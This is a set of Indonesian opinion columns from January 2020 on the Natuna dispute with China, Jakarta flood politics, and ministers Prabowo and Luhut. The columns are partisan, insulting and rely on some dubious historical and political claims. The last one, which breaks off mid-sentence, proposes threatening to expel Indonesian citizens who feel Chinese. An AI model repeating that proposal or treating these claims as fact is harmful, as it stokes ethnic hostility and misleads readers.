China Nekad, Penerus Raden Wijaya Siap Lawan!

China harus belajar dari sejarah bahwa rakyat Indonesia ini sulit ditaklukkan. Karena, bangsa Indonesia ini pada dasarnya adalah bangsa pejuang! Bagaimana Belanda harus membayar mahal Perang Diponegoro di Jawa (1825-1830). Oleh Mochamad Toha Jakarta, FNN - Ambisi teritorial China jelas terencana dengan rapi. Mereka tak akan berhenti di Kepulauan Spratly yang berposisi lebih dekat ke Filipina. China mulai mengganggu Kepulauan Natuna milik Indonesia. China mulai provokasi Indonesia! Tercatat, pada 10 Desember 2019, Coast Guard China muncul di perbatasan laut di perairan bagian utara Natuna. Kapal itu dihadang oleh kapal Bakamla Indonesia. Karena dihalau, tak jadi menerobos ke dalam perairan Indonesia. Pada 23 Desember 2019, dua Coast Guard China masuk lagi. Kali ini, kedua kapal bersenjata itu mengawal sejumlah kapal penangkap ikan China yang sedang melakukan pencurian ikan di perairan ZEE Indonesia di utara Natuna. ZEE Indonesia itu diakui PBB. Kali ini China unjuk kekuatan. Dua kapal penjaga pantai yang bersenjata itu dibekingin oleh satu kapal frigat (kapal perang) dari kejauhan. Artinya, angkatan laut China siap melakukan tindak kekerasan. China sekarang ini memang menjadi kekuatan militer dunia. Pada November 2019, Global Firepower merilis data peringkat negara dengan kekuatan militer terbaik peringka ketiga di dunia. Sementara Indonesia menempati peringkat 16. Power Index Rating China: 0.0673; Total populasi rakyat: 1,384,688,986 jiwa; Total personel militer: estimasi 2,693,000 personel; Total Aset Angkatan Laut: 714; Total kekuatan pesawat: 3,187 (peringkat 3 dari 137 negara); Pesawat Tempur: 1,222 (peringkat 2 dari 137 negara); Tank Tempur: 13,050 (peringkat 2 dari 137 negara); Anggaran Pertahanan: US$ 224 miliar atau Rp 3,152 triliun. Power Index Rating Indonesia: 0.2804; Total populasi rakyat: 262,787,403 jiwa; Total personel militer: estimasi 800,000 personel; Total Aset Angkatan Laut: 221; Total kekuatan pesawat: 451 (peringkat 30 dari 137 negara); Pesawat Tempur: 41 (peringkat 43 dari 137 negara); Tank Tempur: 315 (peringkat 52 dari 137 negara); Anggaran Pertahanan: US$ 6,9 miliar atau Rp 97 triliun. Jika melihat dari peringkat kekuatan militer antara China dan Indonesia, Menhan Prabowo Subianto menahan agar TNI tidak berbenturan dengan Tentara China saat ini. Mantan Danjen Kopassus ini harus susun strategi “cerdas dan cerdik”. Apalagi, kabarnya, kekuatan Tentara Merah itu sebenarnya mencapai 6 juta personil. Plus peralatan canggih. Sedangkan TNI cuma sekitar 400 ribu personil dengan peralatan kalah canggih. Meski begitu, TNI dan rakyat Indonesia tidak akan ciut! Sebab, sejarah sudah membuktikan dan diketahui dunia. Perang gerilya yang dilakukan oleh Jenderal Soedirman saat agresi militer II Belanda membuat kalang kabut Tentara Belanda di Jogjakarta dan Jawa Tengah. Tak hanya itu. Perlawanan rakyat Surabaya yang dipimpin Bung Tomo terhadap Tentara Sekutu yang ingin menguasai Surabaya pada 10 November 1945 membuat Tentara Sekutu harus kehilangan Jenderal Mallaby dari Inggris di tangan rakyat. Teranyar, saat Kapal Tentara Laut Diraja Malaysia manuver dan provokasi di laut Ambalat, mereka akhirnya meninggalkan Ambalat setelah “ditaklukkan” oleh seorang anggota Denjaka TNI AL yang berhasil menyerbu tanpa senjata! China harus belajar dari sejarah bahwa rakyat Indonesia ini sulit ditaklukkan. Karena, bangsa Indonesia ini pada dasarnya adalah bangsa pejuang! Bagaimana Belanda harus membayar mahal Perang Diponegoro di Jawa (1825-1830). Apalagi, ternyata Belanda telah dipecundangi Pangeran Diponegoro saat Belanda mencoba menjebaknya dalam perundingan di Magelang. Yang ditangkap (dan kini dimakamkan di Makassar) itu bernama Mohammad Jiko Matturi. Peristiwaitu tercatat dalam prasasti “batu tulis” yang ditemukan di Asta Tinggi, komplek pemakaman para Raja Sumenep. Jadi, yang datang ke perundingan itu bukanlah Pangeran Diponegoro, tetapi salah seorang panglimanya. Saat itu Pangeran Diponegoro minta bantuan ke Raja Sumenep Sultan Abdurrahman untuk menyiapkan Perang Diponegoro II. Namun, rencana tersebut tak berlanjut karena Pangeran Diponegoro meninggal setelah tinggal lebih dari 5 tahun. Peristiwa tersebut memang tidak dicatat dalam sejarah. Namun, bukti prasasti bercerita soal strategi Pangeran Diponegoro dalam menghadapi Belanda. Perlawanan serupa juga dilakukan Tuanku Imam Bonjol di Tanah Minang terhadap Belanda. Raden Wijaya Kalau mau menengok sejarah, seharusnya China jangan memaksakan diri untuk manuver dan mengklaim perairan Natuna masuk ke dalam wilayahnya. Sejarah sudah mencatat, setidaknya leluhur Tentara China pernah dua kali kalah di Tanah Jawa. Mongol (China) di masa kejayaannya Jeghis Khan hingga Kubilai Khan menaklukkan dunia, semua kerajaan begitu mendapat surat dari Mongol langsung takluk tanpa perang dan setor upeti daripada hancur lebur dan rakyatnya dipenggal oleh kebiadaban Mongol. Tentara Mongol itu dikenal bengis dan barbar. Tapi, tidak dengan Prabu Kertanegara di Tanah Jawa. Mengzi utusan Kubilai Khan dipotong telinganya dan menyatakan menolak tunduk apalagi membayar upeti kepada Mongol. Catatan Dinasti Yuan mengisahkan, pada 1293 pasukan Mongol sebanyak 20.000-30.000 orang (300 kapal) orang dipimpin Ike Mese, Shi bi, dan Gaoxing mendarat di Jawa untuk menghukum Kertanagara, karena pada 1289 Kertanagara telah melukai utusan yang dikirim Kubilai Khan, Raja Mongol. Sementara itu, setelah mengalahkan Kerajaan Sriwijaya di Sumatera pada 1290, Kerajaan Singhasari menjadi kerajaan terkuat di daerah itu. Tetapi Jayakatwang, Adipati di Kediri, negara asal Singhasari, memberontak dan berhasil membunuh Kertanagara. Menantu Kertanegara, Raden Wijaya, diampuni oleh Jayakatwang dengan bantuan wali dari Madura, Arya Wiraraja. Raden Wijaya kemudian diberi tanah hutan di Tarik. Dia membuka hutan itu dan mendirikan sebuah desa di sana. Desa itu diberi nama Majapahit, Raden Wijaya menyimpan dendam pada Jayakatwang Kubilai Khan sangat terkejut setelah Mengzi pulang dan melaporkan kejadian penolakan Raja Jawa tersebut. Pada 1292, dia memerintahkan dan mengirimkan ekspedisi untuk menghukum Kertanegara, yang dia sebut orang barbar. Raden Wijaya memanfaatkan kedatangan pasukan Mongol tersebut untuk menghancurkan Jayakatwang. Ia pun mengajak Ike Mese untuk bekerjasama. Raden Wijaya meminta bantuan untuk merebut kembali kekuasaan Pulau Jawa dari tangan Jayakatwang. Dan setelah itu baru ia bersedia menyatakan tunduk kepada bangsa Mongol dan menyerahkan upeti. Tentara Mongol dengan seluruh kekuatannya bertempur dengan pasukan Jawakatwang. Sementara pasukan Mongol bertempur melawan Jayakatwang, Raden Wijaya menyerang kota dari arah lain dan dengan cepat mengalahkan penjaganya. Istana Jayakatwang dijarah dan dibakar. Beberapa ribu pasukan Kadiri mencoba menyeberangi sungai Brantas yang membelah Kota Kadiri dan tenggelam, sementara 5.000 tewas dalam pertempuran. Raja Jayakatwang mundur ke bentengnya, dan menemukan bahwa istananya telah terbakar. Pasukan Mongol mengepung Kota Daha dan meminta Jayakatwang menyerah. Pada sore hari, Jayakatwang menyatakan takluk kepada bangsa Mongol. Setelah Jayakatwang dikalahkan oleh pasukan Mongol, Raden Wijaya kembali ke Majapahit, berpura-pura hendak menyiapkan pembayaran upeti untuk Mongol, dan meninggalkan sekutu Mongolnya berpesta merayakan kemenangan mereka. Shi-bi dan Ike Mese mengizinkan Raden Wijaya kembali ke daerahnya untuk menyiapkan upeti serta surat penyerahan diri, Raden Wijaya meminta kapal-kapal besar Mongol masuk ke Kalimas (Brantas) dengan alasan untuk memudahkan memuat upeti yang banyak. Kapal-kapal besar Mongol yang masuk sungai tidak bisa bermanuver, hanya bisa maju atau mundur saja, maju masuk semakin ke dalam mundur terhalang kapal di belakangnya. Kesempatan tersebut digunakan Raden Wijaya dengan cepat memobilisasi pasukannya dan menyerang dengan panah ber-api ke arah kapal-kapal yang terjebak di Brantas, sementara pasukan di dalamnya sedang mabuk. Pasukan Raden Wijaya berhasil membunuh banyak prajurit Yuan, sedangkan sisanya berlari kembali ke kapal mereka yang berada di pantai. Di pantai, armada pasukan Jawa pimpinan mantri Aria Adikara juga menghancurkan sejumlah kapal Mongol. Pasukan Yuan mundur, kacau karena angin muson yang dapat membawa mereka pulang akan segera berakhir, sehingga mereka terancam terjebak di pulau Jawa untuk 6 bulan berikutnya. Setelah semua pasukan naik ke kapal di pesisir, mereka bertarung di laut melawan armada Jawa dan mengalami kekalahan yang fatal, dengan total 12.000-18.000 terbunuh. Kabarnya, menurut catatan, Dinasti Yuan Mongol mengalami kemunduran setelah kekalahan di Jawa ini. Akankah peristiwa serupa bakal terjadi ketika Tentara China menghadapi perlawanan pasukan “Raden Wijaya” (baca: TNI dan rakyat) jika terjadi perang terbuka? China harus ingat, “sejarah pasti berulang”! Apalagi, Presiden Joko Widodo sudah menyatakan, "Tidak ada kompromi!" Jika China tidak ingin dipermalukan untuk ketiga kalinya, sebaiknya China tak memaksakan diri kuasai laut Natuna! Penulis adalah wartawan senior

Natuna Membara: China "Keras Kepala", Indonesia Harus Bersiap!

China telah menganggap Indonesia sebagai negeri jajahan, objek dan sasaran target yang akan diintegrasi menjadi bagian dari Republik China Raya. Para pemangku kepentingan, pejabat dan penguasa bukannya bersikap tegas, justru lembek, tunduk pada China. Oleh Mochamad Toha Jakarta, FNN - Masih ingat kasus sengketa perbatasan serupa dengan Natuna antara China dan Filipina yang sudah dimenangkan oleh Filipina di Mahkamah Internasional? Begitu pertanyaan Bambang Sulistomo. China tetap saja tak mematuhi putusan pengadilan! Menurut Putra Pahlawan 10 November 1945 Bung Tomo yang juga Ketum Ikatan Pendukung Kemerdekaan Indonesia (IP-KI) itu, “Tapi dengan negara Indonesia tampaknya China tidak akan ambil resiko,” tegasnya melalui aplikasi WhatsApp. “Disamping ketangguhan TNI dan semangat kejuangan kita, mereka mungkin teringat akibat peristiwa G30S 1965, negeri ini pernah dengan tegas memutuskan hubungan diplomatiknya dengan China (Beijing),” lanjut Bambang Sulistomo. “Dan China tidak akan mengorbankan kekuatan ekonomi-nya, jika berperang terbuka dengan kita,” ungkap Bambang Sulistomo. Jadi, meski China klaim laut Natuna itu masuk wilayah Laut China Selatan (LCS), dia tak akan berani invasi ke Natuna. Statement Mas Bambang di atas sangat bertolak belakang dengan pernyataan Nasrudin Joha, seorang penulis, yang menilai para pemangku kepentingan, pejabat dan penguasa bukannya bersikap tegas, justru lembek dan tunduk terhadap China. Menhan Prabowo Subianto yang di elu-elukan sebagai “Macan Asia”, ternyata hanya berani mengeong ke China. Prabowo tak jauh beda dengan Menko Kemaritiman dan Investasi Luhut Binsar Panjaitan, berbicara dalam kapasitas yang membela kepentingan China. “Ya saya kira kita harus selesaikan dengan baik. Bagaimanapun China itu negara sahabat,” ujar Prabowo, usai bertemu Menko Luhut, Jum’at (3/1/2020). Bukannya mengecam pelanggaran kedaulatan yang dilakukan China atas perairan Natuna. Nasrudin Joha menyebut, Prabowo justru mengunggah pernyataan China sebagai negara sahabat. Padahal, jika China adalah negara sahabat maka mustahil China berani melanggar dan melecehkan batas kedaulatan negara sahabatnya. China telah menganggap Indonesia sebagai negeri jajahan, objek dan sasaran target yang akan diintegrasi menjadi bagian dari Republik China Raya. Para pemangku kepentingan, pejabat dan penguasa bukannya bersikap tegas, justru lembek, tunduk pada China. Prabowo dan Luhut “kalah jantan” dengan Menlu Retno Edi Marsudi yang mengecam keras pelanggaran kedaulatan RI oleh China. Prabowo terlalu manis, karena telah 'disuap' sejumlah proyek pertahanan oleh China saat kunjungan kerja beberapa waktu yang lalu. Lantas akan kemana rakyat negeri ini meminta perlindungan? Kepada pejabat dan penguasa yang justru menyerahkan leher kedaulatan bangsa ini kepada China? Atau terpaksa tunduk dan ikut arus menjadi budak yang melayani kepentingan China? Penilaian Nasjo atas Prabowo tersebut rasanya terlalu berlebihan. Apalagi, sampai menuding Prabowo telah ‘disuap’ dengan sejumlah proyek pertahanan oleh China saat kunjungan kerja beberapa waktu yang lalu ke China. Lain halnya jika Menko Luhut. Menko Luhut meminta permasalahan dengan China di perairan Natuna jangan diributkan. Alasannya makin ribut akan membuat investasi terganggu.Apalagi Indonesia juga sedang menarik investasi dari China. “Ya makanya saya bilang jangan ribut. Untuk apa kita ribut yang nggak perlu diributin, bisa ganggu,” ujar Luhut usai bertemu Prabowo di Kementerian Koordinator Kemaritiman dan Investasi, Jakarta Pusat, Jumat (3/1/2020). Seharusnya kita tahu tugas masing-masing menteri. Menlu Retno jelas akan menggunakan politik diplomasi dan harus “bersuara”. Luhut dengan pendekatan kemaritiman dan investasi. Prabowo pasti menggunakan politik pertahanan. Penempatan sejumlah kapal perang dan sejumlah pasukan “Siaga Tempur” ke Natuna yang terjadi belakangan ini menyusul klaim China atas laut Natuna jelas atas perintah Prabowo, sesuai dengan tugasnya sebagai Menhan. Nama lembaganya saja Kementerian Pertahanan, tentu tugasnya terkait dengan Pertahanan, bukan “Penyerangan”. Kemenhan baru akan melakukan “perlawanan” bila sampai terjadi “penyerangan” dari musuh (baca: China). Dalam menghapi kekuatan militer China, tentunya Prabowo harus benar-benar menghitung kekuatan lawan. Harus teliti secara matematis. Sebagai Menhan, Prabowo juga harus bisa melindungi TNI dan rakyat jika terjadi perang. Mampukah Indonesia menghadapi China jika terjadi perang? Sejak puluhan Kapal Perang China melakukan provokasi di sekitar Natuna, banyak “Kaum Nyinyir” yang mengecam Menhan Prabowo. Mengapa tidak tembak kapal-kapal China itu?! Dus, jika mengikuti nafsu mereka, perang "Indochina Serial Baru" pasti terjadi. Kalau saja perang antara Indonesia dan China ditakdirkan harus terjadi, sudah dapat dipastikan negara mana yang akan kalah dan hancur berantakan. Penilaian itu dapat dilihat dari peringkat kekuatan militer dunia, yang setiap tahun diterbitkan Global Firepower. Pada November 2019, Global Firepower merilis data peringkat negara dengan kekuatan militer terbaik di dunia. Ironisnya China merupakan tiga besar dunia, sementara Indonesia menempati peringkat 16. Fakta itu mencerminkan, kalau perang antara Indonesia dengan China terjadi, maka nasib Indonesia bagaikan buah pisang yang dihantamkan ke buah durian. Bakal hancur berantakan! Bagi orang beriman, hanya Alloh yang bisa menolong Indonesia dalam melawan Kedzoliman China. Bukan dengan cara perang fisik. Tapi, dengan perang diplomatik di PBB bersenjatakan keputusan dan UU yang diterbitkan PBB. Coba simak data dari Global Firepower antara China dan Indonesia berikut: China. Power Index Rating: 0.0673; Total populasi Amerika Serikat: 1,384,688,986 jiwa; Total personel militer: estimasi 2,693,000 personel; Total Aset Angkatan Laut: 714; Total kekuatan pesawat: 3,187 (peringkat 3 dari 137 negara); Pesawat Tempur: 1,222 (peringkat 2 dari 137 negara); Tank Tempur: 13,050 (peringkat 2 dari 137 negara); Anggaran Pertahanan: US$ 224 miliar atau Rp 3,152 triliun. Indonesia. Power Index Rating: 0.2804; Total populasi Amerika Serikat: 262,787,403 jiwa; Total personel militer: estimasi 800,000 personel; Total Aset Angkatan Laut: 221; Total kekuatan pesawat: 451 (peringkat 30 dari 137 negara); Pesawat Tempur: 41 (peringkat 43 dari 137 negara); Tank Tempur: 315 (peringkat 52 dari 137 negara); Anggaran Pertahanan: US$ 6,9 miliar atau Rp 97 triliun. Jika melihat dari peringkat kekuatan militer antara China dan Indonesia, sebenarnya sudah bisa dihitung seberapa kekuatan TNI dalam menghadapi perang terbuka dengan China nanti. Makanya Menhan Prabowo menahan agar TNI tidak benturan dengan Tentara China saat ini. Bisa habis NKRI nanti. Apalagi, konon, kekuatan Tentara Merah itu sebenarnya mencapai 6 juta personil. Plus peralatan canggih. Sedangkan TNI cuma sekitar 400 ribu personil dengan peralatan kalah canggih. Kondisi persenjataan dan jumlah personil TNI itu, yang selama ini dikeluhkan oleh Prabowo itu, saat ini terbukti, jika NKRI lemah. Bisa jadi, Menhan Prabowo sekarang ini sedang cari “jalan terbaik” dalam menghadapi manuver China di laut Natuna. Menurut Direktur The Global Future Institute Prof. Hendrajit, kalau kita menghindari perang dengan China soal Natuna, bukan soal peralatan militer kita minim. “Karena memang nggak ada skenario perang di balik ketegangan Natuna,” ungkapnya. “Jadi, kalau soal dikaitkan peralatan militer ya nggak relevan. Karena, memang nggak urjen banget. Itu cuma insiden. Tapi kalau itu memang harus dipertaruhkan, perang ya perang saja. Apa urusannya kalau kita kalah banyak peralatan,” lanjutnya. “Nggak jaminan juga China bakal menang,” tegas Hendrajit. Ketika Vietnam mendukung Heng Samrin yang telah melengserkan pemimpin Kamboja Polpot yang kejamnya minta ampun, ceritanya China meradang karena pemimpin bonekanya dilengserkan. Maka China bilang, “Kami akan memberi pelajaran pada tentara Vietnam”. Tapi, nyatanya, “Vietnam yang untuk ukuran jaman dulu masih termasuk pasukan sandal jepit, malah justru yang ngasih pelajaran pada Angkatan Laut China.” “Jadi, ini bukan miskin peralatan militer atau tidak. Tapi, Natuna memang nggak urjen buat pemantik perang atau casus belly,” ungkap Hendrajit. Kalau tewasnya Panglima Al-Quds Iran Mayjen Qassem Soeamani oleh Amerika, itulah baru relevan. “Karena itu sama saja dengan negara asing menembak Danjen Kopassus atau Danjen Marinir,” tegas Hendrajit. Drone MQ-9 Reaper pembunuh Mayjen Qassem Soelamani berpotensi melahirkan “Perang Teluk Serial Baru”. Ekonomi Dunia Dipastikan Kacau! Penulis adalah wartawan senior

Dihajar Buzzer, Anies Banjir Dukungan

Oleh Tony Rosyid Jakarta, FNN - Beberapa orang japri saya, mengirim link media terkait petisi terhadap Anies. Di antara mereka ada orang penting di Majelis Ulama Indonesia (MUI). Beliau berkomentar: Ternyata, lawan Anies bekerja sistematis untuk menjatuhkan. Semua yang japri saya minta respon dan tanggapan. Apa jawaban saya? Hehehe. Kok ketawa? Gak serius amat? Si Amat aja gak serius, kenapa saya harus serius?, jawabku. Dalam hati aku cuma bilang: "Hanya orang bodoh yang mau merespon mainannya buzzer." Seseorang dari fraksi PDIP DKI memberi komentar: petisi itu tak berafiliasi dengan partai manapun. Mereka adalah orang-orang yang merasa dirugikan. Oh ya? Siapa mereka bung DPRD? Dari mana asalnya? Jangan-jangan dari Bangka Belitung. Kerugian apa yang dialaminya? Mirip banjir di Jatiasih Bekasi kemarin, yang disalahin Anies. Bekasi bro! Kenapa gak salahin Ridwan Kamil dan Walikota/Bupati Bekasi? Kenapa salahin Anies? Karena Anies yang ditarget. Waduh! Bagaimana respon Anies? "Kami bertanggungjawab, dan tidak salahkan siapa-siapa". Begitu menghadapi banjir, Anies turun langsung dan ikut lakukan evakuasi korban. Pastikan para pengungsi teratasi dan aman logistiknya. Di mana Kementerian Sosial? Hus... Gak usah nanya-nanya yang lain. Benar kata kawan saya, orang penting di MUI itu. Memang ada upaya sistematis untuk mengganggu Anies. Upaya itu dimulai sejak Anies dilantik jadi gubernur. Publik tahu itu. Inget kata "pribumi" dalam pidato pelantikan Anies yang dikasuskan? Itu baru pemanasan. Dan tak berhenti sampai sekarang. Sudah lebih dari dua tahun. Makin ke sini, makin kencang. Ini terjadi bukan saja karena faktor "gak move on", tapi juga terkait kebijakan Anies yang seringkali mengganggu kepentingan oligarki. Terutama kegalauan mereka menghadapi pilpres 2024. Oh ya? Masih lama, kok galau ya? Lihat video orang-orang yang pakai atribut topi sinterklas? Videonya viral. Dalam video itu, ada beberapa orang yang karena rajin bully Anies menjadi terkenal. Mereka gelisah. Gelisah kalau Anies jadi presiden. Makin gelisah lagi ketika Anies datang dan turun langsung ke lokasi banjir, warga teriak "Gubernur Rasa Presiden" (Kompas, 5/1) Tidak hanya Anies yang dibully. Semua pihak yang mengapresiasi kinerja Anies juga dibully. Termasuk Kompas, Kumparan dan detik.com yang dalam konteks banjir ini berusaha obyektif memotret kerja Anies dan respon warga. Kena bully juga. Jangan-jangan Jaya Suprana dan Sujiwo Tedjo juga akan dibully hanya karena mengapresiasi kerja Anies. Jangan tanya soal moral dan etika. Bagaimana kita membuat standar moral dan etika untuk orang-orang yang menjadikan banjir dan penderitaan para korban sebagai arena berpolitik? Maksudnya gak bermoral? Ah, jangan terlalu vulgar. Rakyat juga sudah paham. Lalu, bagaimana dari sisi politik? Ini baru butuh analisis lebih detil. Selama ini, "para buzzer" selalu gagal mengganggu Anies. Alih-alih menjatuhkan, justru sebaliknya, setiap kasus malah jadi blessing dan mengangkat nama Anies. Lem aibon, ambruknya jembatan di hutan kota, dan sekarang soal banjir. Kenapa? Pertama, "para buzzer" selalu kesulitan untuk mendapatkan isu seksi. Setidaknya hingga hari ini, Anies tak pernah melakukan kesalahan fatal terkait dengan integritas, kebijakan, dan komunikasi politiknya. Ini salah satu kelebihan Anies, bicara dan kerjanya sangat terukur. Jadi, tak ada ruang untuk menggarap isu yang berpotensi downgrade Anies. Kedua, terlalu banyak rekayasa. Penyebaran hoaks dengan data-data invalid dan cenderung ngasal justru jadi faktor kegagalan mereka. Ketika data-data asli dibuka, kelar. Ini terus berulang terjadi. Intinya, para buzzer ini gak bermain taktis. Hanya eforia sesaat. Ketiga, pola komunikasi "ala preman" justru mendatangkan ketidaksimpatisan publik. Miskin dukungan, bahkan memancing perlawanan banyak pihak. Corat coret wajah Anies dengan berbagai bentuk caci maki yang gak karuan. Mereka gak paham psikologi publik. Publik Indonesia masih waras. Gak suka sampah model seperti itu. Keempat, walaupun sudah bekerja sistematis, terstruktur dan masif, para buzzer ini tetap kalah jumlah, kalah cerdas, kalah kompak dan kalah militan dibanding para pendukung Anies. Ini yang membuat setiap isu kandas di tengah jalan. Kelima, Anies tak mudah dipancing untuk bereaksi dan merespon para buzzer itu. Dalam konteks ini, Anies cukup matang dalam sikap dan melakukan komunikasi politik. Sejumlah orang justru balik simpati dan dukung Anies ketika Anies melakukan komunikasi dengan pihak-pihak yang selama ini "memusuhinya". Di samping kerja Anies yang terukur. Tentu terukur menurut lembaga-lembaga yang dianggap kredibel oleh publik untuk memberikan penilaian. Termasuk KPK, BPK dan sejumlah kementerian. "Saya tak akan menjawab dengan kata-kata, tapi dengan kerja dan karya", kata Anies. Dan Anies telah membuktikannya dengan karya nyata dan sejumlah penghargaan. Terkait banjir yang tak hanya menimpa Jakarta, tapi juga Jawa Timur, Jawa Barat, Banten dan Kalimantan Selatan, Anies tegar di tengah dibullyan, caci maki dan kebencian. Fokus kerja, turun langsung ke lapangan dan pimpin pasukan untuk mengatasi dampak banjir. Tak mengeluh. Tak menyalahkan pusat. Tak menyalahkan presiden. Tak menyalahkan kepala daerah lain. Tak nyalahin hujan. Tak nyalahin air laut yang sedang pasang. Tak nyalahin tiga belas sungai. Anies juga tidak bilang: "banjir akan lebih mudah diatasi jika jadi presiden". Anies gak pernah bilang begitu. Kalau pada akhirnya nanti Anies jadi presiden dan melanjutkan program-program yang sudah dimulai dan dikerjakan Pak Jokowi, itu soal lain. Lima fakta ini yang membuat lawan politik Anies seperti tak menemukan ruang yang cukup untuk merusak nama Anies. Ini bisa dilihat dari kegalauan mereka dalam video yang viral beberapa hari ini. Bisa dimaklumi. Di satu sisi, mereka tak siap ditinggal Jokowi pensiun di 2024. Di sisi lain, mereka tak punya tokoh yang kompetitif untuk dilawankan dengan Anies. Enggak tahu kalau pada akhirnya mereka mencalonkan Abu Janda, Denny Siregar atau Arde Armando untuk menjadi kompetitor Anies. Perlu juga dicoba dan diberi kesempatan. Yang publik gak bisa maklumi, mengapa mereka tak punya rasa empati kepada para korban. Di saat banjir tiba dan penderitaan menimpa bangsa ini, para buzzer justru makin masif produksi bullyan dan caci maki. "Kok yo mentolo?" Di mana nurani mereka? Di sisi lain, walaupun terus dibully, Anies justru malah banjir dukungan. Jakarta, 6/1/2020 Penulis Pengamat Politik dan Pemerhati Bangsa

Panglima TNI, Natuna, dan Patroli Pak Luhut

By Asyari Usman Jakarta, FNN - Kalua mau lapor soal penerobosan wilayah darat, laut, udara, ke mana seharusnya ya, bro? Kalau tak salah ke Panglima TNI. Tapi, entah juga ya! Sebab, Pak Panglima diam-diam saja soal Natuna. Padahal, China sudah sangat sibuk mengirimkan aramada nelayan mereka ke perairan ZEE Indonesia di bagian utara kepulauan Natuna. Itu informasi yang kami dapat. Apakah Pak Panglima Marsekal Hadi Tjahjanto sedang mengatur strategi barangkali ya? Bisa jadi juga. Sebab, beliau itu ‘kan harus presisi kalau mengambil keputusan. Panglima tak boleh sembarangan. Semuanya harus “aim, lock, fire” (bidik, kunci, tembak). Jadi, wajar kalau Pak Panglima lama baru muncul. Soalnya, kalau salah tembak, bisa-bisa kena ke kapal patroli Pak Luhut Panjaitan. Kabarnya, kapal patroli Pak Luhut sedang mengawal kapal investasi China yang membawa modal ke Indonesia lewat perairan Natuna. Loh, kapal investasi kok lewat perairan Natuna? Jangan bingung dulu, bro. Begini. RRC ‘kan mau bawa investasi ke Indonesia. Nah, mereka cari duit investasi itu dengan menangkap ikan dulu di perairan ZEEI dan perairan Natuna juga. Ikan itu kemudian dijual kepada nelayan-nelayan Indonesia yang sedang kosong tangkapan. Mereka jual-beli di laut. Nelayan Indonesia membayarnya dengan rupiah. Nah, rupiah yang dikumpul oleh kapal investasi China itu dibawa ke Indonesia, diserahkan ke pimpro-pimpro RRC di Indonesia. Itulah sebabnya Pak Luhut hari itu bilang agar persoalan kapal China masuk ke perairan ZEEI, tidak usah dibesar-besarkan. Sebab, mereka membawa investasi masuk ke Indonesia. Jadi, Panglima TNI harus lama bereaksi. Beliau menunggu posisi koordinat kapal-kapal investasi China yang dikawal kapal patroli Pak Luhut. Supaya Pak Panglima tidak salah tembak. Nah, sekarang ketemu ‘link’ antara urusan kemaritiman dan investasi. Menjadi terbuka ‘misteri’ dua bidang yang tak ‘nyambung itu dijadikan satu dengan nama Menko Kemaritiman dan Investasi. Kuncinya: wilayah “maritim” Natuna dan “investasi” China untuk Indonesia. Hehe.[] 6 Januari 2020 Penulis wartawan senior.

Luhut Menteri Kacrut

Luhut Binsar Panjaitan tampak mewakili negara China dalam setiap kerjasama dengan pemerintah Indonesia. Kadang sifat berangasannya tersebut, mengingatkan kita pada Ahok yang angkuh dan juga tukang semprot. Sebagai Menko, mestinya Luhut Binsar Panjaiatan lebih berwawasan kenegaraan yang luas. Tentara itu patriot, bukan tukang semprot atau "Judas Iskhariot" sang penghianat. By M. Rizal Fadillah Jakarta, FNN - Dalam kasus konflik Natuna, Menteri Kordinator Kemaritiman dan Investasi Luhut Binssar Panjaitan bersikap melunak kepada China. Luhut menyatakan agar kasus pelanggaran hukum di perairan Kepulauan Natuna tidak usah dibesar- besarkan. Kata Luhut, kalau diber-besarkan, takutnya bakal mengganggu program investasi China di Indonesia. Tentu saja ungkapan Luhut ini direaksi keras oleh public. Betapa lemahnya rasa nasionalisme dari sang menteri yang berpangkat Jendral bintang empat kehormatan ini. Kedaulatan negara telah nyata-nyata dilanggar. Kedaulatan negara di Natuna sudah dianggap sebagai milik China. Namun masih dianggap sepele saja sama Luhut Binsar Panjaitan. Kata anak gaul Luhut Binsar Panjaitan ini payah, ancur deh. Kacrut...! Investasi China seolah-olah menjadi segalanya bagi Luhut Binsar Panjaitan. Sehingga kedualatan kita diinjak-injak sekalipun kita sikapi dingin-dingin saja. Padahal bangsa ini justru sedang mengkhawatirkan terlalu jauhnya China merambah negara kita. Investasi menjadi alat penguasaan atau penjajahan. Nyali Menteri Luhut Binsar Panjaitan yang berlatar belakang militer tersebut ternyata ciut. Hanya segitu-gitu saja dia. Ternyata tidak ada hebat-hebatnya juga tuh. Persis seperti tikus cerurut atau tikus kacrut yang kecil. Masalah kedaulatan negara harusnya dipertahankan dan dibela dengan sepenuh jiwa raga. Bukan dengan mental jiwasraya yang keropos dan korup tersebut. Kasus Luhut Binsar Panjaitan dengan sikap lemah dan pragmatis, menunjukkan betapa perlunya para Menteri (juga Presiden) ditatar kembali. Materinya tentang substansi nasionalisme dan ideologi negara. Jangan hanya rakyat yang selalu jadi obyek pembinaan dan penataran. Para petinggi negeri ini penting untuk juga dibina. Karena kalimat-kalimat yang keluar dari mulut mereka bukanlah kalimat serbagai seorang menteri. Tidak menggambarkan mereka adalah menteri. Contohnya, Luhut Binsar Panjaitan ini. Padahal sikap dan pendapat para menteri itu bisa berdampak secara luas. Rendahnya rasa nasionalisme dan watak pengecut di kalangan para menteri adalah krisis nasional yang sangat nyata saat ini. Ini sangat berbahaya sekali. Sebab negara ini bisa dijual hanya demi investasi atau mendapatkan duit hutang dari luar negeri. Sikap Luhut Binsar Panjaitan yang membela China ini bukan yang pertama kali. Sikap yang semacam ini sudah berulangkali diperlihatkan Luhut. Tidak salah jika ada sebutan di medsos bahwa Luhut sebagai Dubes China untuk Indonesia. Sebab yang diucapkan Luhut Binsar Panjaitan selama ini, tidak lain adalah membela kepentingan China di Indonesia. Luhut Binsar Panjaitan tampak mewakili negara China dalam setiap kerjasama dengan pemerintah Indonesia. Kadang sifat berangasannya tersebut, mengingatkan kita pada Ahok yang angkuh dan juga tukang semprot. Sebagai Menko, mestinya Luhut Binsar Panjaiatan lebih berwawasan kenegaraan yang luas. Tentara itu patriot, bukan tukang semprot atau "Judas Iskhariot" sang penghianat. Ketika kita berkonflik dengan China, gertakannya jangan membuat nyali ciut. Balas dengan ancaman yang membuat China berpikir seribu kali sebelum melangkah. Missalnya, kita akan membatalkan semua bentuk kerjasama ekonomi dengan China, jika masih saja mengklaim perairan Kepulauan Natuna sebagai bagian dari wilayah teritorialnya. Bila perlu sentuh sampai pada ancaman pemutusan hubungan diplomatik. Bilang bahwa di Indonesia masih banyak warga negara Indonesia (WNI) yang masih merasa sebagai bangsa China. Jika macam- macam, mereka bisa diusir keluar dari Indonesia. Teriakan seperti dulu "go to hell with your aid". Bagaimanapun juga China adalah negara komunis. Mereka sangat berbahaya bagi bangsa kita. Dengan kejadian di perairan Natuna ini, China jelas-jelas bukanlah sahabat kita. Apalagi idelogi 